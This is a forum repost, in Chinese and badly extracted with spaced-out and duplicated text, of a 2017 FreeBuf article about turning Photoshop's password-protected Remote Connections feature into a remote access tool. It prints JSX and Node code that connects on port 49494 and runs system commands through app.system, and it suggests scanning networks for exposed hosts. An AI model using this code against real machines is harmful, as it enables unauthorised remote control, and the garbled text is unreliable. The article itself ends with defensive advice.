搜索

[11644] 2017-08-09_如何把Photoshop改造成远程控制工具（RAT）来利用

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2017-08-09_如何把Photoshop改造成远程控制工具（RAT）来利用 如 何 把 P h o t o s h o p 改 造 成 远 程 控 制 工 具 （ R A T ） 来 利 用 c l o u d s   F r e e B u f   2 0 1 7 - 0 8 - 0 9 作 者 在 本 文 中 通 过 对 作 者 在 本 文 中 通 过 对 P h o t o s h o p 远 程 连 接 功 能 的 改 造 利 用 ， 最 终 实 现 了 对 开 启 远 程 连 接 功 能 的 远 程 连 接 功 能 的 改 造 利 用 ， 最 终 实 现 了 对 开 启 远 程 连 接 功 能 的 P h o t o s h o p 端 操 作 端 操 作 系 统 的 接 管 控 制 。 系 统 的 接 管 控 制 。 P h o t o s h o p 远 程 连 接 功 能 说 明 远 程 连 接 功 能 说 明 P h o t o s h o p 中 有 一 个 名 为 远 程 连 接 （ R e m o t e   C o n n e c t i o n s ） 的 可 选 功 能 ， 该 功 能 默 认 是 关 闭 的 ， 但 如 果 你 启 用 该 功 能 并 设 置 密 码 后 ， 任 何 知 晓 密 码 的 人 就 可 以 远 程 接 入 到 你 电 脑 的 P h o t o s h o p 服 务 端 。 如 下 开 启 画 面 ： 正 常 用 户 利 用 该 功 能 ， 来 实 时 预 览 不 同 P S 文 件 在 i P a d 或 手 机 等 远 程 设 备 上 的 实 际 设 计 外 观 样 式 ， 该 远 程 预 览 功 能 需 要 手 机 等 移 动 终 端 安 装 如 P S   P l a y o n 和 S k a l a   P r e v i e w 等 第 三 方 A P P 来 实 现 连 接 。 如 S k a l a   P r e v i e w ：
该 远 程 连 接 功 能 基 于 P h o t o s h o p 的 J S X 脚 本 实 例 。 J S X 属 P h o t o s h o p 的 宏 脚 本 ， 由 J a v a s c r i p t 语 言 编 写 ， 以 实 现 P h o t o s h o p 的 图 片 加 载 、 颜 色 渲 染 、 矢 量 绘 制 和 导 出 等 功 能 ， 可 点 此 查 看 J S X 的 相 关 编 写 规 范 和 可 用 接 口 。 另 外 ， A d o b e 提 供 了 一 个 开 源 库 内 核 生 成 器 来 建 立 该 远 程 连 接 ， 所 以 如 果 您 对 其 中 的 协 议 细 节 有 兴 趣 ， 也 可 点 此 查 看 。 当 开 启 远 程 连 接 后 ， P h o t o s h o p 将 会 对 4 9 4 9 4 端 口 进 行 监 听 ： 以 下 代 码 为 与 远 程 P h o t o s h o p 服 务 端 用 来 进 行 身 份 验 证 交 互 的 代 码 ： 对 此 ， 我 曾 尝 试 利 用 以 下 a p p . s y s t e m 方 法 来 调 用 系 统 命 令 ： a l e r t ( a p p . s y s t e m ( “ i d ” ) ) 但 遗 憾 的 是 其 返 回 值 却 是 一 些 退 出 状 态 码 ， 不 是 标 准 的 命 令 输 出 内 容 。 经 过 研 究 ， 我 发 现 P h o t o s h o p 的 J S X 脚 本 具 备 系 统 访 问 接 口 ， 所 以 ， 这 样 一 来 ， 我 们 可 以 把 其 标 准 输 出 内 容 （ s t d o u t ） 重 定 向 到 一 个 临 时 文 件 中 ， 之 后 ， 就 可 以 对 该 文 件 进 行 读 取 。 如 下 所 示 ： $   n e t s t a t   - a n   |   g r e p   4 9 4 9 4 t c p 4   0   0   * . 4 9 4 9 4   * . *   L I S T E N c o n s t   c o r e   =   r e q u i r e ( " g e n e r a t o r - c o r e / l i b / g e n e r a t o r " ) c o n s t   o p t i o n s   =   {         h o s t :   ' 1 9 2 . 1 6 8 . 1 . 1 2 3 ' ,         p a s s w o r d :   ' p a s s w o r d ' ,         p o r t :   4 9 4 9 4 } c o n s t   g e n e r a t o r   =   c o r e . c r e a t e G e n e r a t o r ( ) g e n e r a t o r . s t a r t ( o p t i o n s ) . d o n e ( ( )   = >   {         g e n e r a t o r . e v a l u a t e J S X S t r i n g ( ' a l e r t ( " H e l l o " ) ' ) . t h e n ( ( )   = >   g e n e r a t o r . s h u t d o w n ( ) ) } ) v a r   t m p F i l e   =   F o l d e r . t e m p   +   ' o u t p u t . t x t ' ; a p p . s y s t e m ( " i d   >   "   +   t m p F i l e ) ; v a r   s t d o u t   =   n e w   F i l e ( $ { t m p F i l e } ) ; s t d o u t . o p e n ( ' r ' ) ; s t d o u t . e n c o d i n g   =   " U T F - 8 " ; v a r   c o n t e n t   =   s t d o u t . r e a d ( ) ; s t d o u t . c l o s e ( ) ; s t d o u t . r e m o v e ( ) ; a l e r t ( c o n t e n t ) ;
P h o t o s h o p   R A T   改 造 成 型 改 造 成 型 因 此 ， 我 可 以 在 上 述 身 份 验 证 代 码 中 作 出 如 下 修 改 ， 通 过 用 户 名 密 码 方 式 登 录 远 程 P h o t o s h o p 服 务 端 ， 之 后 ， 再 利 用 J S X 脚 本 接 口 间 接 执 行 P h o t o s h o p 服 务 端 系 统 命 令 ， 实 现 对 远 程 P h o t o s h o p 服 务 端 系 统 的 直 接 接 管 控 制 。 以 下 为 e x p l o i t 代 码 ： e x p l o i t . j s :
成 功 利 用 后 ， 读 取 远 程 P h o t o s h o p 服 务 端 操 作 系 统 密 码 ： 影 响 分 析 影 响 分 析 在 内 网 中 ， 你 可 以 通 过 4 9 4 9 4 端 口 扫 描 或 组 播 D N S ” _ p h o t o s h o p s e r v e r . t c p ” 抓 包 来 探 测 一 些 开 启 远 程 连 接 功 能 的 P h o t o s h o p 服 务 端 ， 之 后 利 用 以 上 e x p l o i t . j s 进 行 把 玩 。
该 功 能 的 此 种 R A T 方 式 利 用 ， 前 提 必 须 知 晓 对 方 前 提 必 须 知 晓 对 方 P h o t o s h o p 服 务 远 程 连 接 密 码 ， 因 此 并 不 属 于 漏 洞 范 畴 。 基 于 服 务 远 程 连 接 密 码 ， 因 此 并 不 属 于 漏 洞 范 畴 。 基 于 此 ， 请 谨 慎 开 启 你 的 此 ， 请 谨 慎 开 启 你 的 P h o t o s h o p 远 程 连 接 功 能 ， 或 严 格 保 存 你 的 远 程 连 接 功 能 ， 或 严 格 保 存 你 的 P h o t o s h o p 远 程 连 接 密 码 ， 否 则 ， 你 的 操 作 系 统 远 程 连 接 密 码 ， 否 则 ， 你 的 操 作 系 统 有 可 能 被 不 怀 好 意 之 人 远 程 控 制 。 有 可 能 被 不 怀 好 意 之 人 远 程 控 制 。 * 参 考 来 源 ： m e d i u m ， f r e e b u f 小 编 c l o u d s 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理